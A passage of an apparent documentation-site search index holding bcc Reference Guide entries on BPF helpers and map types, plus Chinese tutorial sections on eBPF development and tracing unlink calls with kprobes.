/tools","breadcrumbs":"bcc Reference Guide » 4. bpf_get_current_pid_tgid()","id":"202","title":"4. bpf_get_current_pid_tgid()"},"203":{"body":"Syntax: u64 bpf_get_current_uid_gid(void) Return: current_gid << 32 | current_uid Returns the user ID and group IDs. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 5. bpf_get_current_uid_gid()","id":"203","title":"5. bpf_get_current_uid_gid()"},"204":{"body":"Syntax: bpf_get_current_comm(char *buf, int size_of_buf) Return: 0 on success Populates the first argument address with the current process name. It should be a pointer to a char array of at least size TASK_COMM_LEN, which is defined in linux/sched.h. For example: #include <linux/sched.h> int do_trace(struct pt_regs *ctx) { char comm[TASK_COMM_LEN]; bpf_get_current_comm(&comm, sizeof(comm));\n[...] Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 6. bpf_get_current_comm()","id":"204","title":"6. bpf_get_current_comm()"},"205":{"body":"Syntax: bpf_get_current_task() Return: current task as a pointer to struct task_struct. Returns a pointer to the current task's task_struct object. This helper can be used to compute the on-CPU time for a process, identify kernel threads, get the current CPU's run queue, or retrieve many other pieces of information. With Linux 4.13, due to issues with field randomization, you may need two #define directives before the includes: #define randomized_struct_fields_start struct {\n#define randomized_struct_fields_end };\n#include <linux/sched.h> int do_trace(void *ctx) { struct task_struct *t = (struct task_struct *)bpf_get_current_task();\n[...] Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 7. bpf_get_current_task()","id":"205","title":"7. bpf_get_current_task()"},"206":{"body":"Syntax: unsigned int bpf_log2l(unsigned long v) Returns the log-2 of the provided value. This is often used to create indexes for histograms, to construct power-of-2 histograms. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 8. bpf_log2l()","id":"206","title":"8. bpf_log2l()"},"207":{"body":"Syntax: u32 bpf_get_prandom_u32() Returns a pseudo-random u32. Example in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 9. bpf_get_prandom_u32()","id":"207","title":"9. bpf_get_prandom_u32()"},"208":{"body":"Syntax: int bpf_probe_read_user(void *dst, int size, const void *src) Return: 0 on success This attempts to safely read size bytes from user address space to the BPF stack, so that BPF can later operate on it. For safety, all user address space memory reads must pass through bpf_probe_read_user(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 10. bpf_probe_read_user()","id":"208","title":"10. bpf_probe_read_user()"},"209":{"body":"Syntax: int bpf_probe_read_user_str(void *dst, int size, const void *src) Return: > 0 length of the string including the trailing NULL on success < 0 error This copies a NULL terminated string from user address space to the BPF stack, so that BPF can later operate on it. In case the string length is smaller than size, the target is not padded with further NULL bytes. In case the string length is larger than size, just size - 1 bytes are copied and the last byte is set to NULL. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 11. bpf_probe_read_user_str()","id":"209","title":"11. bpf_probe_read_user_str()"},"21":{"body":"eBPF 程序的开发和使用流程可以概括为如下几个步骤： 定义 eBPF 程序的接口和类型：这包括定义 eBPF 程序的接口函数，定义和实现 eBPF 内核映射（maps）和共享内存（perf events），以及定义和使用 eBPF 内核帮助函数（helpers）。 编写 eBPF 程序的代码：这包括编写 eBPF 程序的主要逻辑，实现 eBPF 内核映射的读写操作，以及使用 eBPF 内核帮助函数。 编译 eBPF 程序：这包括使用 eBPF 编译器（例如 clang）将 eBPF 程序代码编译为 eBPF 字节码，并生成可执行的 eBPF 内核模块。ecc 本质上也是调用 clang 编译器来编译 eBPF 程序。 加载 eBPF 程序到内核：这包括将编译好的 eBPF 内核模块加载到 Linux 内核中，并将 eBPF 程序附加到指定的内核事件上。 使用 eBPF 程序：这包括监测 eBPF 程序的运行情况，并使用 eBPF 内核映射和共享内存进行数据交换和共享。 在实际开发中，还可能需要进行其他的步骤，例如配置编译和加载参数，管理 eBPF 内核模块和内核映射，以及使用其他高级功能等。 需要注意的是，BPF 程序的执行是在内核空间进行的，因此需要使用特殊的工具和技术来编写、编译和调试 BPF 程序。eunomia-bpf 是一个开源的 BPF 编译器和工具包，它可以帮助开发者快速和简单地编写和运行 BPF 程序。 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程，全部内容均已开源。我们会继续分享更多有关 eBPF 开发实践的内容，帮助您更好地理解和掌握 eBPF 技术。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 总结","id":"21","title":"总结"},"210":{"body":"Syntax: u32 bpf_get_ns_current_pid_tgid(u64 dev, u64 ino, struct bpf_pidns_info* nsdata, u32 size) Values for pid and tgid as seen from the current namespace will be returned in nsdata . Return 0 on success, or one of the following in case of failure: -EINVAL if dev and inum supplied don't match dev_t and inode number with nsfs of current task, or if dev conversion to dev_t lost high bits. -ENOENT if pidns does not exists for the current task. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 12. bpf_get_ns_current_pid_tgid()","id":"210","title":"12. bpf_get_ns_current_pid_tgid()"},"211":{"body":"","breadcrumbs":"bcc Reference Guide » Debugging","id":"211","title":"Debugging"},"212":{"body":"Syntax: int bpf_override_return(struct pt_regs *, unsigned long rc) Return: 0 on success When used in a program attached to a function entry kprobe, causes the execution of the function to be skipped, immediately returning rc instead. This is used for targeted error injection. bpf_override_return will only work when the kprobed function is whitelisted to allow error injections. Whitelisting entails tagging a function with ALLOW_ERROR_INJECTION() in the kernel source tree; see io_ctl_init for an example. If the kprobed function is not whitelisted, the bpf program will fail to attach with ioctl(PERF_EVENT_IOC_SET_BPF): Invalid argument int kprobe__io_ctl_init(void *ctx) { bpf_override_return(ctx, -ENOMEM); return 0;\n}","breadcrumbs":"bcc Reference Guide » 1. bpf_override_return()","id":"212","title":"1. bpf_override_return()"},"213":{"body":"","breadcrumbs":"bcc Reference Guide » Output","id":"213","title":"Output"},"214":{"body":"Syntax: int bpf_trace_printk(const char *fmt, ...) Return: 0 on success A simple kernel facility for printf() to the common trace_pipe (/sys/kernel/debug/tracing/trace_pipe). This is ok for some quick examples, but has limitations: 3 args max, 1 %s only, and trace_pipe is globally shared, so concurrent programs will have clashing output. A better interface is via BPF_PERF_OUTPUT(). Note that calling this helper is made simpler than the original kernel version, which has fmt_size as the second parameter. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. bpf_trace_printk()","id":"214","title":"1. bpf_trace_printk()"},"215":{"body":"Syntax: BPF_PERF_OUTPUT(name) Creates a BPF table for pushing out custom event data to user space via a perf ring buffer. This is the preferred method for pushing per-event data to user space. For example: struct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events); int hello(struct pt_regs *ctx) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid(); data.ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data.comm, sizeof(data.comm)); events.perf_submit(ctx, &data, sizeof(data)); return 0;\n} The output table is named events, and data is pushed to it via events.perf_submit(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. BPF_PERF_OUTPUT","id":"215","title":"2. BPF_PERF_OUTPUT"},"216":{"body":"Syntax: int perf_submit((void *)ctx, (void *)data, u32 data_size) Return: 0 on success A method of a BPF_PERF_OUTPUT table, for submitting custom event data to user space. See the BPF_PERF_OUTPUT entry. (This ultimately calls bpf_perf_event_output().) The ctx parameter is provided in kprobes or kretprobes . For SCHED_CLS or SOCKET_FILTER programs, the struct __sk_buff *skb must be used instead. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. perf_submit()","id":"216","title":"3. perf_submit()"},"217":{"body":"Syntax: int perf_submit_skb((void *)ctx, u32 packet_size, (void *)data, u32 data_size) Return: 0 on success A method of a BPF_PERF_OUTPUT table available in networking program types, for submitting custom event data to user space, along with the first packet_size bytes of the packet buffer. See the BPF_PERF_OUTPUT entry. (This ultimately calls bpf_perf_event_output().) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. perf_submit_skb()","id":"217","title":"4. perf_submit_skb()"},"218":{"body":"Syntax: BPF_RINGBUF_OUTPUT(name, page_cnt) Creates a BPF table for pushing out custom event data to user space via a ringbuf ring buffer. BPF_RINGBUF_OUTPUT has several advantages over BPF_PERF_OUTPUT, summarized as follows: Buffer is shared across all CPUs, meaning no per-CPU allocation Supports two APIs for BPF programs map.ringbuf_output() works like map.perf_submit() (covered in ringbuf_output ) map.ringbuf_reserve()/map.ringbuf_submit()/map.ringbuf_discard() split the process of reserving buffer space and submitting events into two steps (covered in ringbuf_reserve , ringbuf_submit , ringbuf_discard ) BPF APIs do not require access to a CPU ctx argument Superior performance and latency in userspace thanks to a shared ring buffer manager Supports two ways of consuming data in userspace Starting in Linux 5.8, this should be the preferred method for pushing per-event data to user space. Example of both APIs: struct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n}; // Creates a ringbuf called events with 8 pages of space, shared across all CPUs\nBPF_RINGBUF_OUTPUT(events, 8); int first_api_example(struct pt_regs *ctx) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid(); data.ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data.comm, sizeof(data.comm)); events.ringbuf_output(&data, sizeof(data), 0 /* flags */); return 0;\n} int second_api_example(struct pt_regs *ctx) { struct data_t *data = events.ringbuf_reserve(sizeof(struct data_t)); if (!data) { // Failed to reserve space return 1; } data->pid = bpf_get_current_pid_tgid(); data->ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data->comm, sizeof(data->comm)); events.ringbuf_submit(data, 0 /* flags */); return 0;\n} The output table is named events. Data is allocated via events.ringbuf_reserve() and pushed to it via events.ringbuf_submit(). Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 5. BPF_RINGBUF_OUTPUT","id":"218","title":"5. BPF_RINGBUF_OUTPUT"},"219":{"body":"Syntax: int ringbuf_output((void *)data, u64 data_size, u64 flags) Return: 0 on success Flags: BPF_RB_NO_WAKEUP: Do not sent notification of new data availability BPF_RB_FORCE_WAKEUP: Send notification of new data availability unconditionally A method of the BPF_RINGBUF_OUTPUT table, for submitting custom event data to user space. This method works like perf_submit(), although it does not require a ctx argument. Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 6. ringbuf_output()","id":"219","title":"6. ringbuf_output()"},"22":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第二篇，在 eBPF 中使用 kprobe 捕获 unlink 系统调用。本文会先讲解关于 kprobes 的基本概念和技术背景，然后介绍如何在 eBPF 中使用 kprobe 捕获 unlink 系统调用。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » eBPF 入门开发实践教程二：在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用","id":"22","title":"eBPF 入门开发实践教程二：在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用"},"220":{"body":"Syntax: void* ringbuf_reserve(u64 data_size) Return: Pointer to data struct on success, NULL on failure A method of the BPF_RINGBUF_OUTPUT table, for reserving space in the ring buffer and simultaenously allocating a data struct for output. Must be used with one of ringbuf_submit or ringbuf_discard. Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 7. ringbuf_reserve()","id":"220","title":"7. ringbuf_reserve()"},"221":{"body":"Syntax: void ringbuf_submit((void *)data, u64 flags) Return: Nothing, always succeeds Flags: BPF_RB_NO_WAKEUP: Do not sent notification of new data availability BPF_RB_FORCE_WAKEUP: Send notification of new data availability unconditionally A method of the BPF_RINGBUF_OUTPUT table, for submitting custom event data to user space. Must be preceded by a call to ringbuf_reserve() to reserve space for the data. Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 8. ringbuf_submit()","id":"221","title":"8. ringbuf_submit()"},"222":{"body":"Syntax: void ringbuf_discard((void *)data, u64 flags) Return: Nothing, always succeeds Flags: BPF_RB_NO_WAKEUP: Do not sent notification of new data availability BPF_RB_FORCE_WAKEUP: Send notification of new data availability unconditionally A method of the BPF_RINGBUF_OUTPUT table, for discarding custom event data; userspace ignores the data associated with the discarded event. Must be preceded by a call to ringbuf_reserve() to reserve space for the data. Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 9. ringbuf_discard()","id":"222","title":"9. ringbuf_discard()"},"223":{"body":"Maps are BPF data stores, and are the basis for higher level object types including tables, hashes, and histograms.","breadcrumbs":"bcc Reference Guide » Maps","id":"223","title":"Maps"},"224":{"body":"Syntax: BPF_TABLE(_table_type, _key_type, _leaf_type, _name, _max_entries) Creates a map named _name. Most of the time this will be used via higher-level macros, like BPF_HASH, BPF_ARRAY, BPF_HISTOGRAM, etc. BPF_F_TABLE is a variant that takes a flag in the last parameter. BPF_TABLE(https://github.com/iovisor/bcc/tree/master.) is actually a wrapper to BPF_F_TABLE(https://github.com/iovisor/bcc/tree/master., 0 /* flag */). Methods (covered later): map.lookup(), map.lookup_or_try_init(), map.delete(), map.update(), map.insert(), map.increment(). Examples in situ: search /examples , search /tools Pinned Maps Syntax: BPF_TABLE_PINNED(_table_type, _key_type, _leaf_type, _name, _max_entries, \"/sys/fs/bpf/xyz\") Create a new map if it doesn't exist and pin it to the bpffs as a FILE, otherwise use the map that was pinned to the bpffs. The type information is not enforced and the actual map type depends on the map that got pinned to the location. For example: BPF_TABLE_PINNED(\"hash\", u64, u64, ids, 1024, \"/sys/fs/bpf/ids\");","breadcrumbs":"bcc Reference Guide » 1. BPF_TABLE","id":"224","title":"1. BPF_TABLE"},"225":{"body":"Syntax: BPF_HASH(name [, key_type [, leaf_type [, size]]]) Creates a hash map (associative array) named name, with optional parameters. Defaults: BPF_HASH(name, key_type=u64, leaf_type=u64, size=10240) For example: BPF_HASH(start, struct request *); This creates a hash named start where the key is a struct request *, and the value defaults to u64. This hash is used by the disksnoop.py example for saving timestamps for each I/O request, where the key is the pointer to struct request, and the value is the timestamp. This is a wrapper macro for BPF_TABLE(\"hash\", ...). Methods (covered later): map.lookup(), map.lookup_or_try_init(), map.delete(), map.update(), map.insert(), map.increment(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. BPF_HASH","id":"225","title":"2. BPF_HASH"},"226":{"body":"Syntax: BPF_ARRAY(name [, leaf_type [, size]]) Creates an int-indexed array which is optimized for fastest lookup and update, named name, with optional parameters. Defaults: BPF_ARRAY(name, leaf_type=u64, size=10240) For example: BPF_ARRAY(counts, u64, 32); This creates an array named counts where with 32 buckets and 64-bit integer values. This array is used by the funccount.py example for saving call count of each function. This is a wrapper macro for BPF_TABLE(\"array\", ...). Methods (covered later): map.lookup(), map.update(), map.increment(). Note that all array elements are pre-allocated with zero values and can not be deleted. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. BPF_ARRAY","id":"226","title":"3. BPF_ARRAY"},"227":{"body":"Syntax: BPF_HISTOGRAM(name [, key_type [, size ]]) Creates a histogram map named name, with optional parameters. Defaults: BPF_HISTOGRAM(name, key_type=int, size=64) For example: BPF_HISTOGRAM(dist); This creates a histogram named dist, which defaults to 64 buckets indexed by keys of type int. This is a wrapper macro for BPF_TABLE(\"histgram\", ...). Methods (covered later): map.increment(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. BPF_HISTOGRAM","id":"227","title":"4. BPF_HISTOGRAM"},"228":{"body":"Syntax: BPF_STACK_TRACE(name, max_entries) Creates stack trace map named name, with a maximum entry count provided. These maps are used to store stack traces. For example: BPF_STACK_TRACE(stack_traces, 1024); This creates stack trace map named stack_traces, with a maximum number of stack trace entries of 1024. This is a wrapper macro for BPF_TABLE(\"stacktrace\", ...). Methods (covered later): map.get_stackid(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 5. BPF_STACK_TRACE","id":"228","title":"5. BPF_STACK_TRACE"},"229":{"body":"Syntax: BPF_PERF_ARRAY(name, max_entries) Creates perf array named name, with a maximum entry count provided, which must be equal to the number of system cpus. These maps are used to fetch hardware performance counters. For example: text=\"\"\"\nBPF_PERF_ARRAY(cpu_cycles, NUM_CPUS);\n\"\"\"\nb = bcc.BPF(text=text, cflags=[\"-DNUM_CPUS=%d\" % multiprocessing.cpu_count()])\nb[\"cpu_cycles\"].open_perf_event(b[\"cpu_cycles\"].HW_CPU_CYCLES) This creates a perf array named cpu_cycles, with number of entries equal to the number of cpus/cores. The array is configured so that later calling map.perf_read() will return a hardware-calculated counter of the number of cycles elapsed from some point in the past. Only one type of hardware counter may be configured per table at a time. Methods (covered later): map.perf_read(). Examples in situ: search /tests","breadcrumbs":"bcc Reference Guide » 6. BPF_PERF_ARRAY","id":"229","title":"6. BPF_PERF_ARRAY"},"23":{"body":"开发人员在内核或者模块的调试过程中，往往会需要要知道其中的一些函数有无被调用、何时被调用、执行是否正确以及函数的入参和返回值是什么等等。比较简单的做法是在内核代码对应的函数中添加日志打印信息，但这种方式往往需要重新编译内核或模块，重新启动设备之类的，操作较为复杂甚至可能会破坏原有的代码执行过程。 而利用kprobes技术，用户可以定义自己的回调函数，然后在内核或者模块中几乎所有的函数中（有些函数是不可探测的，例如kprobes自身的相关实现函数，后文会有详细说明）动态的插入探测点，当内核执行流程执行到指定的探测函数时，会调用该回调函数，用户即可收集所需的信息了，同时内核最后还会回到原本的正常执行流程。如果用户已经收集足够的信息，不再需要继续探测，则同样可以动态地移除探测点。因此kprobes技术具有对内核执行流程影响小和操作方便的优点。 kprobes技术包括的3种探测手段分别时kprobe、jprobe和kretprobe。首先kprobe是最基本的探测方式，是实现后两种的基础，它可以在任意的位置放置探测点（就连函数内部的某条指令处也可以），它提供了探测点的调用前、调用后和内存访问出错3种回调方式，分别是pre_handler、post_handler和fault_handler，其中pre_handler函数将在被探测指令被执行前回调，post_handler会在被探测指令执行完毕后回调（注意不是被探测函数），fault_handler会在内存访问出错时被调用；jprobe基于kprobe实现，它用于获取被探测函数的入参值；最后kretprobe从名字中就可以看出其用途了，它同样基于kprobe实现，用于获取被探测函数的返回值。 kprobes的技术原理并不仅仅包含存软件的实现方案，它也需要硬件架构提供支持。其中涉及硬件架构相关的是CPU的异常处理和单步调试技术，前者用于让程序的执行流程陷入到用户注册的回调函数中去，而后者则用于单步执行被探测点指令，因此并不是所有的架构均支持，目前kprobes技术已经支持多种架构，包括i386、x86_64、ppc64、ia64、sparc64、arm、ppc和mips（有些架构实现可能并不完全，具体可参考内核的Documentation/kprobes.txt）。 kprobes的特点与使用限制： kprobes允许在同一个被被探测位置注册多个kprobe，但是目前jprobe却不可以；同时也不允许以其他的jprobe回调函数和kprobe的post_handler回调函数作为被探测点。 一般情况下，可以探测内核中的任何函数，包括中断处理函数。不过在kernel/kprobes.c和arch/*/kernel/kprobes.c程序中用于实现kprobes自身的函数是不允许被探测的，另外还有do_page_fault和notifier_call_chain； 如果以一个内联函数为探测点，则kprobes可能无法保证对该函数的所有实例都注册探测点。由于gcc可能会自动将某些函数优化为内联函数，因此可能无法达到用户预期的探测效果； 一个探测点的回调函数可能会修改被探测函数运行的上下文，例如通过修改内核的数据结构或者保存与struct pt_regs结构体中的触发探测器之前寄存器信息。因此kprobes可以被用来安装bug修复代码或者注入故障测试代码； kprobes会避免在处理探测点函数时再次调用另一个探测点的回调函数，例如在printk()函数上注册了探测点，则在它的回调函数中可能再次调用printk函数，此时将不再触发printk探测点的回调，仅仅时增加了kprobe结构体中nmissed字段的数值； 在kprobes的注册和注销过程中不会使用mutex锁和动态的申请内存； kprobes回调函数的运行期间是关闭内核抢占的，同时也可能在关闭中断的情况下执行，具体要视CPU架构而定。因此不论在何种情况下，在回调函数中不要调用会放弃CPU的函数（如信号量、mutex锁等）； kretprobe通过替换返回地址为预定义的trampoline的地址来实现，因此栈回溯和gcc内嵌函数__builtin_return_address()调用将返回trampoline的地址而不是真正的被探测函数的返回地址； 如果一个函数的调用次数和返回次数不相等，则在类似这样的函数上注册kretprobe将可能不会达到预期的效果，例如do_exit()函数会存在问题，而do_execve()函数和do_fork()函数不会； 如果当在进入和退出一个函数时，CPU运行在非当前任务所有的栈上，那么往该函数上注册kretprobe可能会导致不可预料的后果，因此，kprobes不支持在X86_64的结构下为__switch_to()函数注册kretprobe，将直接返回-EINVAL。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » kprobes 技术背景","id":"23","title":"kprobes 技术背景"},"230":{"body":"Syntax: BPF_PERCPU_HASH(name [, key_type [, leaf_type [, size]]]) Creates NUM_CPU int-indexed hash maps (associative arrays) named name, with optional parameters. Each CPU will have a separate copy of this array. The copies are not kept synchronized in any way. Note that due to limits defined in the kernel (in linux/mm/percpu.c), the leaf_type cannot have a size of more than 32KB. In other words, BPF_PERCPU_HASH elements cannot be larger than 32KB in size. Defaults: BPF_PERCPU_HASH(name, key_type=u64, leaf_type=u64, size=10240) For example: BPF_PERCPU_HASH(start, struct request *); This creates NUM_CPU hashes named start where the key is a struct request *, and the value defaults to u64. This is a wrapper macro for BPF_TABLE(\"percpu_hash\", ...). Methods (covered later): map.lookup(), map.lookup_or_try_init(), map.delete(), map.update(), map.insert(), map.increment(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 7. BPF_PERCPU_HASH","id":"230","title":"7. BPF_PERCPU_HASH"},"231":{"body":"Syntax: BPF_PERCPU_ARRAY(name [, leaf_type [, size]]) Creates NUM_CPU int-indexed arrays which are optimized for fastest lookup and update, named name, with optional parameters. Each CPU will have a separate copy of this array. The copies are not kept synchronized in any way. Note that due to limits defined in the kernel (in linux/mm/percpu.c), the leaf_type cannot have a size of more than 32KB. In other words, BPF_PERCPU_ARRAY elements cannot be larger than 32KB in size. Defaults: BPF_PERCPU_ARRAY(name, leaf_type=u64, size=10240) For example: BPF_PERCPU_ARRAY(counts, u64, 32); This creates NUM_CPU arrays named counts where with 32 buckets and 64-bit integer values. This is a wrapper macro for BPF_TABLE(\"percpu_array\", ...). Methods (covered later): map.lookup(), map.update(), map.increment(). Note that all array elements are pre-allocated with zero values and can not be deleted. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 8. BPF_PERCPU_ARRAY","id":"231","title":"8. BPF_PERCPU_ARRAY"},"232":{"body":"Syntax: BPF_LPM_TRIE(name [, key_type [, leaf_type [, size]]]) Creates a longest prefix match trie map named name, with optional parameters. Defaults: BPF_LPM_TRIE(name, key_type=u64, leaf_type=u64, size=10240) For example: BPF_LPM_TRIE(trie, struct key_v6); This creates an LPM trie map named trie where the key is a struct key_v6, and the value defaults to u64. This is a wrapper macro to BPF_F_TABLE(\"lpm_trie\", ..., BPF_F_NO_PREALLOC). Methods (covered later): map.lookup(), map.lookup_or_try_init(), map.delete(), map.update(), map.insert(), map.increment(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 9. BPF_LPM_TRIE","id":"232","title":"9. BPF_LPM_TRIE"},"233":{"body":"Syntax: BPF_PROG_ARRAY(name, size) This creates a program array named name with size entries. Each entry of the array is either a file descriptor to a bpf program or NULL. The array acts as a jump table so that bpf programs can \"tail-call\" other bpf programs. This is a wrapper macro for BPF_TABLE(\"prog\", ...). Methods (covered later): map.call(). Examples in situ: search /examples , search /tests , assign fd","breadcrumbs":"bcc Reference Guide » 10. BPF_PROG_ARRAY","id":"233","title":"10. BPF_PROG_ARRAY"},"234":{"body":"Syntax: BPF_DEVMAP(name, size) This creates a device map named name with size entries. Each entry of the map is an ifindex to a network interface. This map is only used in XDP. For example: BPF_DEVMAP(devmap, 10); Methods (covered later): map.redirect_map(). Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 11. BPF_DEVMAP","id":"234","title":"11. BPF_DEVMAP"},"235":{"body":"Syntax: BPF_CPUMAP(name, size) This creates a cpu map named name with size entries. The index of the map represents the CPU id and each entry is the size of the ring buffer allocated for the CPU. This map is only used in XDP. For example: BPF_CPUMAP(cpumap, 16); Methods (covered later): map.redirect_map(). Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 12. BPF_CPUMAP","id":"235","title":"12. BPF_CPUMAP"},"236":{"body":"Syntax: BPF_XSKMAP(name, size [, \"/sys/fs/bpf/xyz\"]) This creates a xsk map named name with size entries and pin it to the bpffs as a FILE. Each entry represents one NIC's queue id. This map is only used in XDP to redirect packet to an AF_XDP socket. If the AF_XDP socket is binded to a queue which is different than the current packet's queue id, the packet will be dropped. For kernel v5.3 and latter, lookup method is available and can be used to check whether and AF_XDP socket is available for the current packet's queue id. More details at AF_XDP . For example: BPF_XSKMAP(xsks_map, 8); Methods (covered later): map.redirect_map(). map.lookup() Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 13. BPF_XSKMAP","id":"236","title":"13. BPF_XSKMAP"},"237":{"body":"Syntax: BPF_ARRAY_OF_MAPS(name, inner_map_name, size) This creates an array map with a map-in-map type (BPF_MAP_TYPE_HASH_OF_MAPS) map named name with size entries. The inner map meta data is provided by map inner_map_name and can be most of array or hash maps except BPF_MAP_TYPE_PROG_ARRAY, BPF_MAP_TYPE_CGROUP_STORAGE and BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE. For example: BPF_TABLE(\"hash\", int, int, ex1, 1024);\nBPF_TABLE(\"hash\", int, int, ex2, 1024);\nBPF_ARRAY_OF_MAPS(maps_array, \"ex1\", 10);","breadcrumbs":"bcc Reference Guide » 14. BPF_ARRAY_OF_MAPS","id":"237","title":"14. BPF_ARRAY_OF_MAPS"},"238":{"body":"Syntax: BPF_HASH_OF_MAPS(name, key_type, inner_map_name, size) This creates a hash map with a map-in-map type (BPF_MAP_TYPE_HASH_OF_MAPS) map named name with size entries. The inner map meta data is provided by map inner_map_name and can be most of array or hash maps except BPF_MAP_TYPE_PROG_ARRAY, BPF_MAP_TYPE_CGROUP_STORAGE and BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE. For example: BPF_ARRAY(ex1, int, 1024);\nBPF_ARRAY(ex2, int, 1024);\nBPF_HASH_OF_MAPS(maps_hash, struct custom_key, \"ex1\", 10);","breadcrumbs":"bcc Reference Guide » 15. BPF_HASH_OF_MAPS","id":"238","title":"15. BPF_HASH_OF_MAPS"},"239":{"body":"Syntax: BPF_STACK(name, leaf_type, max_entries[, flags]) Creates a stack named name with value type leaf_type and max entries max_entries. Stack and Queue maps are only available from Linux 4.20+. For example: BPF_STACK(stack, struct event, 10240); This creates a stack named stack where the value type is struct event, that holds up to 10240 entries. Methods (covered later): map.push(), map.pop(), map.peek(). Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 16. BPF_STACK","id":"239","title":"16. BPF_STACK"},"24":{"body":"完整代码如下： #include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h> char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"kprobe/do_unlinkat\")\nint BPF_KPROBE(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; const char *filename; pid = bpf_get_current_pid_tgid() >> 32; filename = BPF_CORE_READ(name, name); bpf_printk(\"KPROBE ENTRY pid = %d, filename = %s\\n\", pid, filename); return 0;\n} SEC(\"kretprobe/do_unlinkat\")\nint BPF_KRETPROBE(do_unlinkat_exit, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"KPROBE EXIT: pid = %d, ret = %ld\\n\", pid, ret); return 0;\n} 这段代码是一个简单的 eBPF 程序，用于监测和捕获在 Linux 内核中执行的 unlink 系统调用。unlink 系统调用的功能是删除一个文件，这个 eBPF 程序通过使用 kprobe（内核探针）在 do_unlinkat 函数的入口和退出处放置钩子，实现对该系统调用的跟踪。 首先，我们导入必要的头文件，如 vmlinux.h，bpf_helpers.h，bpf_tracing.h 和 bpf_core_read.h。接着，我们定义许可证，以允许程序在内核中运行。 #include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h> char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 接下来，我们定义一个名为 BPF_KPROBE(do_unlinkat) 的 kprobe，当进入 do_unlinkat 函数时，它会被触发。该函数接受两个参数：dfd（文件描述符）和 name（文件名结构体指针）。在这个 kprobe 中，我们获取当前进程的 PID（进程标识符），然后读取文件名。最后，我们使用 bpf_printk 函数在内核日志中打印 PID 和文件名。 SEC(\"kprobe/do_unlinkat\")\nint BPF_KPROBE(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; const char *filename; pid = bpf_get_current_pid_tgid() >> 32; filename = BPF_CORE_READ(name, name); bpf_printk(\"KPROBE ENTRY pid = %d, filename = %s\\n\", pid, filename); return 0;\n} 接下来，我们定义一个名为 BPF_KRETPROBE(do_unlinkat_exit) 的 kretprobe，当从 do_unlinkat 函数退出时，它会被触发。这个 kretprobe 的目的是捕获函数的返回值（ret）。我们再次获取当前进程的 PID，并使用 bpf_printk 函数在内核日志中打印 PID 和返回值。 SEC(\"kretprobe/do_unlinkat\")\nint BPF_KRETPROBE(do_unlinkat_exit, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"KPROBE EXIT: pid = %d, ret = %ld\\n\", pid, ret); return 0;\n} eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。 要编译这个程序，请使用 ecc 工具： $ ecc kprobe-link.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 然后运行： sudo ecli run package.json 在另外一个窗口中： touch test1\nrm test1\ntouch test2\nrm test2 在 